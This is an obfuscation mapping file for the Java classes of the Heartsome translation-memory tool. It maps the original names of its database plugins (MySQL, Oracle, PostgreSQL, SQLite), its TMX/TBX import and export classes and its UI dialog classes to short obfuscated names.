java.lang.String replaceTMOrTBConditionSql(java.lang.String,java.lang.String,boolean,boolean,boolean,java.lang.String,java.lang.String[]) -> replaceTMOrTBConditionSql + java.util.Vector findAllTermsByText(java.lang.String,java.lang.String,java.lang.String) -> findAllTermsByText +net.heartsome.cat.database.mysql.Activator -> net.heartsome.cat.database.mysql.a: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.database.mysql.Activator plugin -> fa + org.osgi.framework.ServiceRegistration mysqlServiceRegistration -> fb + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.database.mysql.Activator getDefault() -> B +net.heartsome.cat.database.mysql.DbServiceProviderImpl -> net.heartsome.cat.database.mysql.b: + net.heartsome.cat.database.SystemDBOperator getOperateDBInstance() -> getOperateDBInstance + net.heartsome.cat.database.DBOperator getTmDatabaseInstance() -> getTmDatabaseInstance +net.heartsome.cat.database.mysql.MetaDataImpl -> net.heartsome.cat.database.mysql.c: + boolean dataPathSupported() -> dataPathSupported + boolean instanceSupported() -> instanceSupported +net.heartsome.cat.database.mysql.OperateSystemDBImpl -> net.heartsome.cat.database.mysql.d: + java.sql.Connection getConnection(java.lang.String,java.lang.String,java.util.Properties) -> getConnection +net.heartsome.cat.database.mysql.TMDatabaseImpl -> net.heartsome.cat.database.mysql.e: + void start() -> start + java.util.Vector findMatch(java.lang.String,java.lang.String,java.lang.String,int,boolean,int,int,java.lang.String,java.lang.String) -> findMatch + java.util.Vector findAllTermsByText(java.lang.String,java.lang.String,java.lang.String) -> findAllTermsByText + java.lang.String replaceTMOrTBConditionSql(java.lang.String,java.lang.String,boolean,boolean,boolean,java.lang.String,java.lang.String[]) -> replaceTMOrTBConditionSql +net.heartsome.cat.database.mysql.Test -> net.heartsome.cat.database.mysql.f: + void main(java.lang.String[]) -> main + java.sql.Connection getConnection() -> getConnection +net.heartsome.cat.database.oracle.Activator -> net.heartsome.cat.database.oracle.a: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.database.oracle.Activator plugin -> fc + org.osgi.framework.ServiceRegistration oracleServiceRegistration -> fd + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.database.oracle.Activator getDefault() -> C +net.heartsome.cat.database.oracle.DbServiceProviderImpl -> net.heartsome.cat.database.oracle.b: + net.heartsome.cat.database.SystemDBOperator getOperateDBInstance() -> getOperateDBInstance + net.heartsome.cat.database.DBOperator getTmDatabaseInstance() -> getTmDatabaseInstance +net.heartsome.cat.database.oracle.MetaDataImpl -> net.heartsome.cat.database.oracle.c: + boolean dataPathSupported() -> dataPathSupported +net.heartsome.cat.database.oracle.OperateDBImpl -> net.heartsome.cat.database.oracle.d: + org.slf4j.Logger logger -> logger + boolean checkSysDb() -> checkSysDb + int createDB() -> createDB + int createSysDb() -> createSysDb + int benchOperate(java.util.List) -> d + void dropDb(java.lang.String) -> dropDb + java.util.List dropMatrixDb(java.lang.String) -> j + java.sql.Connection getConnection(java.lang.String,java.lang.String,java.util.Properties) -> getConnection + boolean checkDbExistOnServer() -> checkDbExistOnServer +net.heartsome.cat.database.oracle.TMDatabaseImpl -> net.heartsome.cat.database.oracle.e: + void setMetaData(net.heartsome.cat.common.bean.MetaData) -> setMetaData + java.lang.String insertHeader(java.util.Hashtable) -> insertHeader + void insertHeaderNode(java.util.Hashtable) -> insertHeaderNode + java.lang.String insertTU(java.util.Hashtable) -> a + int insertTU(int,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> insertTU + java.lang.String insertTextData(java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> a + java.lang.String insertTextData(java.lang.String,int,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> insertTextData + void insertTMXProp(java.util.Map) -> d + void insertTMXProp(int,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> insertTMXProp + void insertTMXNote(java.util.Hashtable) -> b + void insertTMXNote(int,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> insertTMXNote + void insertTMXExtra(java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> insertTMXExtra + int insertBMartifHeader(java.lang.String,java.lang.String) -> insertBMartifHeader + void insertBAttribute(java.util.Map,java.lang.String,int) -> insertBAttribute + int insertBRefobjectlist(java.lang.String,java.lang.String,int) -> insertBRefobjectlist + int insertBTermentry(java.lang.String,java.lang.String,int) -> insertBTermentry + void start() -> start + java.util.List getCandidatesTextDataPks4Oracle(java.lang.String,int,int[]) -> a + java.util.Vector findMatch_1(java.lang.String,java.lang.String,java.lang.String,java.lang.String,int,boolean,int,int,java.lang.String,java.lang.String,boolean) -> findMatch_1 + void fuzzySearch(java.lang.String,java.lang.String,java.lang.String,java.lang.String,int,boolean,int,int,java.lang.String,java.lang.String,boolean,net.heartsome.cat.database.bean.FuzzySearchResults,int) -> fuzzySearch + void translationUnitAnalysis(java.lang.String,java.lang.String,java.lang.String,java.lang.String,int,boolean,int,int,java.lang.String,java.lang.String,boolean,net.heartsome.cat.database.bean.TranslationUnitAnalysisResults,int) -> translationUnitAnalysis + java.lang.String generationExportTMXFilter(java.lang.String,net.heartsome.cat.database.bean.ExportFilterBean) -> generationExportTMXFilter + java.lang.String replaceTMOrTBConditionSql(java.lang.String,java.lang.String,boolean,boolean,boolean,java.lang.String,java.lang.String[]) -> replaceTMOrTBConditionSql + java.util.Vector findAllTermsByText(java.lang.String,java.lang.String,java.lang.String) -> findAllTermsByText + void updateTUVContent(int,java.lang.String,java.lang.String,java.lang.String) -> updateTUVContent + void deleteTUs(java.util.List) -> deleteTUs + void deleteExValues(java.util.List,java.lang.String) -> deleteExValues + void deleteNotes(java.util.List,java.lang.String) -> deleteNotes + void deleteProps(java.util.List,java.lang.String) -> deleteProps + void deleteMatixLang(java.util.List,java.lang.String) -> a + void deleteTuv(java.util.List) -> a + java.util.List groupIds(java.util.List) -> e + boolean updateTuAttrByColumnAndIds(java.lang.String,java.lang.String,java.util.List) -> updateTuAttrByColumnAndIds + boolean updateTuAttrByColumn(java.lang.String,java.lang.String) -> updateTuAttrByColumn + int addMProp(java.lang.String,java.lang.Integer,java.lang.String,java.lang.String) -> addMProp + boolean updatePropByIds(java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.util.List) -> updatePropByIds + boolean updateAllProp(java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> updateAllProp + boolean deletePropByIds(java.lang.String,java.lang.String,java.util.List) -> deletePropByIds + int addExAttribute(java.lang.String,java.lang.Integer,java.lang.String,java.lang.String) -> addExAttribute + boolean updateExAttribute(int,java.lang.String,java.lang.String,java.lang.String) -> updateExAttribute + java.util.List getTuvIdsByLangsAndTuids(java.util.List,java.util.List) -> getTuvIdsByLangsAndTuids + java.util.List getAttrIdsByName(java.lang.String,java.util.List) -> getAttrIdsByName + boolean deleteExAttributes(java.util.List,java.lang.String,java.lang.String) -> deleteExAttributes + boolean addExAttributes(java.lang.String,java.util.List,java.lang.String,java.lang.String,org.eclipse.core.runtime.IProgressMonitor) -> addExAttributes + int addMNote(java.lang.String,java.lang.Integer,java.lang.String,java.lang.String,java.lang.String) -> addMNote + boolean updateNotesByIds(java.lang.String,java.lang.String,java.util.List) -> updateNotesByIds + boolean deleteNotesByIds(java.lang.String,java.util.List) -> deleteNotesByIds + boolean isReadOnly() -> isReadOnly +net.heartsome.cat.database.oracle.resource.Messages -> net.heartsome.cat.database.oracle.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle RESOURCE_BUNDLE -> eX + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.database.postgresql.Activator -> net.heartsome.cat.database.postgresql.a: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.database.postgresql.Activator plugin -> fe + org.osgi.framework.ServiceRegistration postgresqlServiceRegistration -> ff + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.database.postgresql.Activator getDefault() -> D +net.heartsome.cat.database.postgresql.DbServiceProviderImpl -> net.heartsome.cat.database.postgresql.b: + net.heartsome.cat.database.SystemDBOperator getOperateDBInstance() -> getOperateDBInstance + net.heartsome.cat.database.DBOperator getTmDatabaseInstance() -> getTmDatabaseInstance +net.heartsome.cat.database.postgresql.MetaDataImpl -> net.heartsome.cat.database.postgresql.c: + boolean dataPathSupported() -> dataPathSupported + boolean instanceSupported() -> instanceSupported + void setDatabaseName(java.lang.String) -> setDatabaseName +net.heartsome.cat.database.postgresql.OperateDBImpl -> net.heartsome.cat.database.postgresql.d: + org.slf4j.Logger logger -> logger + boolean checkDbConnection() -> checkDbConnection + int createDB(java.lang.String,java.util.List,net.heartsome.cat.common.bean.MetaData) -> a + void dropDb(java.lang.String) -> dropDb + java.sql.Connection getConnection(java.lang.String,java.lang.String,java.util.Properties) -> getConnection +net.heartsome.cat.database.postgresql.TMDatabaseImpl -> net.heartsome.cat.database.postgresql.e: + void start() -> start + java.lang.String replaceTMOrTBConditionSql(java.lang.String,java.lang.String,boolean,boolean,boolean,java.lang.String,java.lang.String[]) -> replaceTMOrTBConditionSql + java.util.Vector findAllTermsByText(java.lang.String,java.lang.String,java.lang.String) -> findAllTermsByText + void updateTUVContent(int,java.lang.String,java.lang.String,java.lang.String) -> updateTUVContent + boolean updateTuAttrByColumn(java.lang.String,java.lang.String) -> updateTuAttrByColumn +net.heartsome.cat.database.postgresql.resource.Messages -> net.heartsome.cat.database.postgresql.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle RESOURCE_BUNDLE -> eX + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.database.resource.Messages -> net.heartsome.cat.database.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle RESOURCE_BUNDLE -> eX + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.database.service.DatabaseService -> net.heartsome.cat.database.service.DatabaseService: + org.slf4j.Logger LOGGER -> LOGGER + int SUCCESS -> SUCCESS + int FAILURE -> FAILURE + int FAILURE_1 -> FAILURE_1 + int FAILURE_2 -> FAILURE_2 + int FAILURE_3 -> FAILURE_3 + int FAILURE_4 -> FAILURE_4 + int CANCEL -> CANCEL + int importTmxWithFile(net.heartsome.cat.common.bean.MetaData,java.lang.String,org.eclipse.core.runtime.IProgressMonitor,int,boolean) -> importTmxWithFile + int importTmxWithString(net.heartsome.cat.common.bean.MetaData,java.lang.String,org.eclipse.core.runtime.IProgressMonitor,int,boolean,java.lang.String) -> importTmxWithString + int importTmxWithString(net.heartsome.cat.database.DBOperator,java.lang.String,org.eclipse.core.runtime.IProgressMonitor,int,boolean,java.lang.String) -> importTmxWithString + int importTbxWithString(java.lang.String,org.eclipse.core.runtime.IProgressMonitor,net.heartsome.cat.common.bean.MetaData,int,java.lang.String) -> importTbxWithString + int importTbxWithString(java.lang.String,org.eclipse.core.runtime.IProgressMonitor,net.heartsome.cat.database.DBOperator,int,java.lang.String) -> importTbxWithString + int importTbxWithFile(java.lang.String,org.eclipse.core.runtime.IProgressMonitor,net.heartsome.cat.common.bean.MetaData,int) -> importTbxWithFile + net.heartsome.cat.database.DBOperator getDBOperator(net.heartsome.cat.common.bean.MetaData) -> getDBOperator + java.util.List getSystemDbOperaterList() -> getSystemDbOperaterList + java.util.List getSystemSuportDbType() -> getSystemSuportDbType + java.util.Map getSystemSuportDbMetaData() -> getSystemSuportDbMetaData + net.heartsome.cat.database.SystemDBOperator getSysDbOperateByMetaData(net.heartsome.cat.common.bean.MetaData) -> getSysDbOperateByMetaData + java.lang.String executeExport(net.heartsome.cat.document.ExportAbstract,org.eclipse.core.runtime.IProgressMonitor) -> executeExport + void preTrasnlationMatch(net.heartsome.cat.database.DBOperator,java.lang.String,java.lang.String,java.lang.String,int,boolean) -> preTrasnlationMatch +net.heartsome.cat.database.sqlite.Activator -> net.heartsome.cat.database.sqlite.a: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.database.sqlite.Activator plugin -> fg + org.osgi.framework.ServiceRegistration sqliteServiceRegistration -> fh + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.database.sqlite.Activator getDefault() -> E +net.heartsome.cat.database.sqlite.DbServiceProviderImpl -> net.heartsome.cat.database.sqlite.b: + net.heartsome.cat.database.DBOperator getTmDatabaseInstance() -> getTmDatabaseInstance + net.heartsome.cat.database.SystemDBOperator getOperateDBInstance() -> getOperateDBInstance +net.heartsome.cat.database.sqlite.MetaDataImpl -> net.heartsome.cat.database.sqlite.c: + boolean instanceSupported() -> instanceSupported + boolean portSupported() -> portSupported + boolean serverNameSupported() -> serverNameSupported + boolean passwordSupported() -> passwordSupported + boolean userNameSupported() -> userNameSupported +net.heartsome.cat.database.sqlite.OperateSystemDBImpl -> net.heartsome.cat.database.sqlite.d: + org.slf4j.Logger LOGGER -> LOGGER + java.sql.Connection conn -> eq + int createDB() -> createDB + int createDB(java.util.List,net.heartsome.cat.common.bean.MetaData) -> a + int createSysDb() -> createSysDb + boolean checkDbConnection() -> checkDbConnection + boolean checkDBIsExist(java.lang.String) -> k + boolean checkSysDb() -> checkSysDb + void addSysDb(java.lang.String,java.lang.String,int) -> addSysDb + void removeSysDb(java.lang.String) -> removeSysDb + java.util.List getSysDbNames(int) -> getSysDbNames + void dropDb(java.lang.String) -> dropDb + boolean checkDbExistOnServer() -> checkDbExistOnServer + java.sql.Connection getConnection(java.lang.String,java.lang.String,java.util.Properties) -> getConnection + void freeConnection(java.sql.Statement,java.sql.Connection) -> a +net.heartsome.cat.database.sqlite.TMDatabaseImpl -> net.heartsome.cat.database.sqlite.e: + void start() -> start + void rollBack() -> rollBack + void beginTransaction() -> beginTransaction + void commit() -> commit + void fuzzySearch(java.lang.String,java.lang.String,java.lang.String,java.lang.String,int,boolean,int,int,java.lang.String,java.lang.String,boolean,net.heartsome.cat.database.bean.FuzzySearchResults,int) -> fuzzySearch + java.util.Vector findAllTermsByText(java.lang.String,java.lang.String,java.lang.String) -> findAllTermsByText + java.lang.String replaceTMOrTBConditionSql(java.lang.String,java.lang.String,boolean,boolean,boolean,java.lang.String,java.lang.String[]) -> replaceTMOrTBConditionSql + void translationUnitAnalysis(java.lang.String,java.lang.String,java.lang.String,java.lang.String,int,boolean,int,int,java.lang.String,java.lang.String,boolean,net.heartsome.cat.database.bean.TranslationUnitAnalysisResults,int) -> translationUnitAnalysis + boolean isReadOnly() -> isReadOnly +net.heartsome.cat.database.sqlite.TMDatabaseImpl$1 -> net.heartsome.cat.database.sqlite.f: + net.heartsome.cat.database.sqlite.TMDatabaseImpl this$0 -> fi + void xFunc() -> xFunc +net.heartsome.cat.database.sqlite.resource.Messages -> net.heartsome.cat.database.sqlite.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle RESOURCE_BUNDLE -> eX + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.database.tmx.ConcordanceBean -> net.heartsome.cat.database.tmx.ConcordanceBean: + java.lang.Integer id -> fj + java.lang.String creationId -> fk + java.lang.String creationDate -> creationDate + java.lang.String changeId -> fl + java.lang.String changeDate -> X + boolean blnIsFlag -> fm + java.util.List languageList -> fn + java.util.List attributeList -> fo + java.lang.Integer getId() -> getId + void setId(java.lang.Integer) -> setId + java.lang.String getCreationId() -> getCreationId + void setCreationId(java.lang.String) -> setCreationId + java.lang.String getCreationDate() -> getCreationDate + void setCreationDate(java.lang.String) -> setCreationDate + java.lang.String getChangeId() -> getChangeId + void setChangeId(java.lang.String) -> setChangeId + java.lang.String getChangeDate() -> getChangeDate + void setChangeDate(java.lang.String) -> setChangeDate + java.util.List getLanguageList() -> getLanguageList + void setLanguageList(java.util.List) -> setLanguageList + boolean isBlnIsFlag() -> isBlnIsFlag + void setBlnIsFlag(boolean) -> setBlnIsFlag + java.util.List getAttributeList() -> getAttributeList + void setAttributeList(java.util.List) -> setAttributeList +net.heartsome.cat.database.tmx.LanguageTMX -> net.heartsome.cat.database.tmx.LanguageTMX: + java.lang.String languageCode -> fp + java.lang.String text -> text + java.lang.String getLanguageCode() -> getLanguageCode + void setLanguageCode(java.lang.String) -> setLanguageCode + java.lang.String getText() -> getText + void setText(java.lang.String) -> setText +net.heartsome.cat.database.ui.Activator -> net.heartsome.cat.database.ui.a: + java.lang.String PLUGIN_ID -> PLUGIN_ID + org.osgi.framework.BundleContext context -> context + net.heartsome.cat.database.ui.Activator plugin -> fq + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.database.ui.Activator getDefault() -> F + org.eclipse.jface.resource.ImageDescriptor getImageDescriptor(java.lang.String) -> getImageDescriptor +net.heartsome.cat.database.ui.bean.DatabaseManagerDbListBean -> net.heartsome.cat.database.ui.bean.DatabaseManagerDbListBean: + java.lang.String index -> index + java.lang.String dbName -> dbName + java.lang.String langs -> langs + java.beans.PropertyChangeSupport propertyChangeSupport -> propertyChangeSupport + java.lang.String getIndex() -> getIndex + void setIndex(java.lang.String) -> setIndex + java.lang.String getDbName() -> getDbName + void setDbName(java.lang.String) -> setDbName + java.lang.String getLangs() -> getLangs + void setLangs(java.lang.String) -> setLangs + void propertyChange(java.beans.PropertyChangeEvent) -> propertyChange + void addPropertyChangeListener(java.lang.String,java.beans.PropertyChangeListener) -> addPropertyChangeListener + void removePropertyChangeListener(java.beans.PropertyChangeListener) -> removePropertyChangeListener +net.heartsome.cat.database.ui.core.DatabaseConfiger -> net.heartsome.cat.database.ui.core.DatabaseConfiger: + net.heartsome.xml.vtdimpl.VTDUtils vu -> ap + java.io.File serverConfigFile -> fr + com.ximpleware.AutoPilot ap -> ar + org.slf4j.Logger logger -> logger + void initResource() -> initResource + java.lang.String checkConfigDirectory(java.lang.String) -> l + void updateServerConfigById(java.lang.String,net.heartsome.cat.common.bean.DatabaseModelBean) -> updateServerConfigById + void deleteServerById(java.lang.String) -> deleteServerById + void addServerConfig(net.heartsome.cat.common.bean.DatabaseModelBean) -> addServerConfig + java.util.Map getAllServerConfig() -> getAllServerConfig + java.util.List getServersConfigByType(java.lang.String) -> getServersConfigByType + java.lang.String generateServerNode(java.lang.String,net.heartsome.cat.common.bean.DatabaseModelBean) -> a + java.lang.String generateServerId() -> generateServerId + java.lang.String existServer(java.lang.String) -> m + java.lang.String isServerExist(net.heartsome.cat.common.bean.DatabaseModelBean,net.heartsome.cat.common.bean.MetaData) -> isServerExist + boolean saveToFile(com.ximpleware.XMLModifier,java.io.File) -> a +net.heartsome.cat.database.ui.core.DbValidator -> net.heartsome.cat.database.ui.core.DbValidator: + java.lang.String valiateDbName(java.lang.String) -> valiateDbName + void main(java.lang.String[]) -> main +net.heartsome.cat.database.ui.core.ExportFilterStoreConfiger -> net.heartsome.cat.database.ui.core.ExportFilterStoreConfiger: + net.heartsome.xml.vtdimpl.VTDUtils vu -> ap + java.io.File filterConfigFile -> fs + com.ximpleware.AutoPilot ap -> ar + org.slf4j.Logger logger -> logger + void initResource() -> initResource + java.lang.String checkConfigDirectory(java.lang.String) -> l + void saveFilterRule(net.heartsome.cat.database.bean.ExportFilterBean) -> saveFilterRule + boolean isFilterNameExist(java.lang.String,java.lang.String) -> isFilterNameExist + java.util.List getFilterRule(java.lang.String) -> getFilterRule + void deleteFilterRuleByName(java.lang.String,java.lang.String) -> deleteFilterRuleByName + java.lang.String generateContent(net.heartsome.cat.database.bean.ExportFilterBean) -> a + boolean saveToFile(com.ximpleware.XMLModifier,java.io.File) -> a +net.heartsome.cat.database.ui.core.ImageConstants -> net.heartsome.cat.database.ui.core.ImageConstants: + java.lang.String ORACLE -> ORACLE + java.lang.String MYSQL -> MYSQL + java.lang.String POSTGRESQL -> POSTGRESQL + java.lang.String SQLSERVER -> SQLSERVER + java.lang.String INTERNALDB -> INTERNALDB + java.lang.String IP -> IP + java.lang.String CHECKED -> CHECKED + java.lang.String UNCHECKED -> UNCHECKED +net.heartsome.cat.database.ui.dialog.ExportFilterComposite -> net.heartsome.cat.database.ui.dialog.ExportFilterComposite: + net.heartsome.cat.database.bean.ExportFilterComponentBean baseDataBean -> ft + java.lang.String[] filterNames -> fu + org.eclipse.swt.widgets.Control valueText -> fv + org.eclipse.jface.viewers.ComboViewer conditionComboViewer -> fw + org.eclipse.jface.viewers.ComboViewer opratorComboViewer -> fx + org.eclipse.swt.widgets.Button addButton -> fy + org.eclipse.swt.widgets.Button deleteButton -> fz + org.eclipse.swt.widgets.Composite dynaComposite -> fA + java.lang.String ruleType -> fB + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent + void addComponent(org.eclipse.swt.widgets.Composite,net.heartsome.cat.database.bean.ExportFilterComponentBean) -> addComponent + void initData() -> G + void createContent() -> createContent + void handlerFilterChangedEvent() -> H + void setAddButtonEnabled(boolean) -> setAddButtonEnabled + void setDeleteButtonEnabled(boolean) -> setDeleteButtonEnabled + net.heartsome.cat.database.bean.ExportFilterComponentBean getValue() -> getValue + net.heartsome.cat.database.bean.ExportFilterComponentBean access$0(net.heartsome.cat.database.ui.dialog.ExportFilterComposite) -> a + void access$1(net.heartsome.cat.database.ui.dialog.ExportFilterComposite) -> b + org.eclipse.jface.viewers.ComboViewer access$2(net.heartsome.cat.database.ui.dialog.ExportFilterComposite) -> c +net.heartsome.cat.database.ui.dialog.ExportFilterComposite$1 -> net.heartsome.cat.database.ui.dialog.ExportFilterComposite$1: + net.heartsome.cat.database.ui.dialog.ExportFilterComposite this$0 -> fC + void selectionChanged(org.eclipse.jface.viewers.SelectionChangedEvent) -> selectionChanged +net.heartsome.cat.database.ui.dialog.ExportFilterComposite$2 -> net.heartsome.cat.database.ui.dialog.ExportFilterComposite$2: + net.heartsome.cat.database.ui.dialog.ExportFilterComposite this$0 -> fC + void selectionChanged(org.eclipse.jface.viewers.SelectionChangedEvent) -> selectionChanged +net.heartsome.cat.database.ui.dialog.ExportFilterSettingDialog -> net.heartsome.cat.database.ui.dialog.ExportFilterSettingDialog: + org.slf4j.Logger logger -> logger + org.eclipse.swt.widgets.Text filterNameText -> fD + org.eclipse.swt.widgets.Composite dynaComposite -> fA + org.eclipse.swt.widgets.Button isAllCbtn -> fE + org.eclipse.swt.widgets.Button isAnyCbtn -> fF + java.lang.String ruleType -> fB + net.heartsome.cat.database.bean.ExportFilterBean currentFilter -> fG + net.heartsome.cat.database.ui.core.ExportFilterStoreConfiger filterStore -> fH + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + boolean isResizable() -> isResizable + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void initData() -> G + void okPressed() -> okPressed + net.heartsome.cat.database.bean.ExportFilterBean getSettingResult() -> getSettingResult + void setCurrentFilter(net.heartsome.cat.database.bean.ExportFilterBean) -> setCurrentFilter + java.lang.String getRuleType() -> getRuleType + void setFilterStore(net.heartsome.cat.database.ui.core.ExportFilterStoreConfiger) -> setFilterStore + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + org.eclipse.swt.graphics.Point getInitialSize() -> getInitialSize +net.heartsome.cat.database.ui.resource.Messages -> net.heartsome.cat.database.ui.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle RESOURCE_BUNDLE -> eX + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.document.DocUtils -> net.heartsome.cat.document.DocUtils: + org.slf4j.Logger LOGGER -> LOGGER + net.heartsome.xml.vtdimpl.VTDUtils isTBX(java.lang.String) -> isTBX + net.heartsome.xml.vtdimpl.VTDUtils isTMX(java.lang.String) -> isTMX + java.util.List getTMDateProp() -> getTMDateProp + java.lang.String getTmxTbxPureText(net.heartsome.xml.vtdimpl.VTDUtils) -> getTmxTbxPureText +net.heartsome.cat.document.ExportAbstract -> net.heartsome.cat.document.ExportAbstract: + org.slf4j.Logger logger -> logger + java.util.List dbList -> fI + net.heartsome.cat.database.bean.ExportFilterBean filterBean -> fJ + java.lang.String encoding -> encoding + java.lang.String USER_CANCEL -> fK + java.lang.String DBOP_ERROR -> fL + java.lang.String JDBC_ERROR -> fM + java.lang.String FILE_ERROR -> fN + java.lang.String SUCCESS -> fO + java.lang.String RELEASE_DB_ERROR -> fP + java.lang.String RELEASE_FILE_ERROR -> fQ + java.lang.String executeExport(org.eclipse.core.runtime.IProgressMonitor) -> executeExport +net.heartsome.cat.document.ExportTbxImpl -> net.heartsome.cat.document.ExportTbxImpl: + java.io.FileOutputStream output -> fR + java.lang.String executeExport(org.eclipse.core.runtime.IProgressMonitor) -> executeExport + void filterLangSet(java.lang.String,java.lang.String,java.util.List) -> a + void writeString(java.lang.String) -> writeString + void writeHeader(java.lang.String) -> writeHeader + void clearResource() -> I +net.heartsome.cat.document.ExportTmxImpl -> net.heartsome.cat.document.ExportTmxImpl: + boolean isToplevelTmx -> fS + boolean isTagLevelTmx -> fT + java.io.FileOutputStream output -> fR + java.lang.String executeExport(org.eclipse.core.runtime.IProgressMonitor) -> executeExport + void clearResource() -> I + void writeHeader(java.lang.String) -> writeHeader + void writeString(java.lang.String) -> writeString + java.lang.String creationDate() -> creationDate +net.heartsome.cat.document.ImportAbstract -> net.heartsome.cat.document.ImportAbstract: + net.heartsome.xml.vtdimpl.VTDUtils vu -> ap + java.lang.String fileType -> fU + int importStrategy -> fV + net.heartsome.cat.database.DBOperator dbOperator -> ew + org.slf4j.Logger logger -> logger + org.eclipse.core.runtime.IProgressMonitor monitor -> monitor + int SUCCESS -> SUCCESS + int FAILURE -> FAILURE + int FAILURE_1 -> FAILURE_1 + int FAILURE_2 -> FAILURE_2 + int FAILURE_3 -> FAILURE_3 + int FAILURE_4 -> FAILURE_4 + int CANCEL -> CANCEL + void executeImport(java.lang.String) -> n + int doImport(java.lang.String,org.eclipse.core.runtime.IProgressMonitor) -> doImport + int doImport(java.lang.String,java.lang.String,org.eclipse.core.runtime.IProgressMonitor) -> doImport + java.lang.String getLang() -> getLang +net.heartsome.cat.document.ImportAbstract$1 -> net.heartsome.cat.document.ImportAbstract$1: + net.heartsome.cat.document.ImportAbstract this$0 -> fW + boolean[] val$flag -> fX + void run() -> run +net.heartsome.cat.document.ImportStateCode -> net.heartsome.cat.document.ImportStateCode: + net.heartsome.cat.document.ImportStateCode[] ENUM$VALUES -> fY + net.heartsome.cat.document.ImportStateCode[] values() -> values + net.heartsome.cat.document.ImportStateCode valueOf(java.lang.String) -> valueOf +net.heartsome.cat.document.ImportTbx -> net.heartsome.cat.document.ImportTbx: + void executeImport(java.lang.String) -> n + void saveTermEntryWithAdd(int,com.ximpleware.AutoPilot,com.ximpleware.AutoPilot) -> a + void saveTermEntry(java.lang.String,int) -> c + void saveTermEntryWithMerge(java.util.Map,com.ximpleware.AutoPilot,com.ximpleware.AutoPilot) -> a + void saveTermEntryWithOverwrite(java.util.Map,com.ximpleware.AutoPilot,com.ximpleware.AutoPilot) -> b + java.lang.String getElementAttribute(java.lang.String) -> o +net.heartsome.cat.document.ImportTmx -> net.heartsome.cat.document.ImportTmx: + org.slf4j.Logger logger -> logger + int importStrategy -> fV + net.heartsome.cat.database.DBOperator db -> fZ + net.heartsome.cat.document.TmxReader reader -> ga + java.util.List tmxTuCache -> gb + int cacheSize -> gc + org.eclipse.core.runtime.IProgressMonitor monitor -> monitor + void importTmxContent(java.lang.String) -> importTmxContent + void importTmxFile(java.io.File) -> importTmxFile + void doImport() -> J + void flush() -> flush + java.util.List checkDuplicate(net.heartsome.cat.common.bean.TmxTU) -> a + boolean addTu(net.heartsome.cat.common.bean.TmxTU) -> b + void addTuv(int,net.heartsome.cat.common.bean.TmxSegement,java.lang.String,java.lang.String) -> a + java.lang.String generateTuId() -> K +net.heartsome.cat.document.TmxFilterInterface -> net.heartsome.cat.document.TmxFilterInterface: + java.lang.String SDL_2007_FOR_WIN -> SDL_2007_FOR_WIN + java.lang.String SDL_2007_VERSION -> SDL_2007_VERSION + java.lang.String clearString(java.lang.String) -> clearString +net.heartsome.cat.document.TmxFilterSDL2007Impl -> net.heartsome.cat.document.TmxFilterSDL2007Impl: + java.lang.String clearString(java.lang.String) -> clearString +net.heartsome.cat.document.TmxReadException -> net.heartsome.cat.document.TmxReadException: + long serialVersionUID -> serialVersionUID + int exceptionCode -> gd + int getExcetpitonCode() -> getExcetpitonCode +net.heartsome.cat.document.TmxReader -> net.heartsome.cat.document.TmxReader: + org.slf4j.Logger logger -> logger + net.heartsome.cat.common.bean.TmxHeader header -> ge + int totalTu -> gf + net.heartsome.xml.vtdimpl.VTDUtils vu -> ap + com.ximpleware.AutoPilot tuAp -> gg + net.heartsome.cat.document.TmxFilterInterface tmxFilter -> gh + net.heartsome.cat.document.TmxReaderEvent read() -> read + void readTuTuvElement(net.heartsome.cat.common.bean.TmxTU) -> c + void readTuPropElement(net.heartsome.cat.common.bean.TmxTU) -> d + void readTuNoteElement(net.heartsome.cat.common.bean.TmxTU) -> e + void readTuElementAttribute(net.heartsome.cat.common.bean.TmxTU) -> f + void validateTmxAndParseHeader(com.ximpleware.VTDGen) -> a + com.ximpleware.VTDGen paseFile(java.io.File) -> b + java.util.List getLangs() -> getLangs + net.heartsome.cat.common.bean.TmxHeader getTmxHeader() -> getTmxHeader + int getTotalTu() -> getTotalTu + void tryToClearTags(boolean) -> tryToClearTags 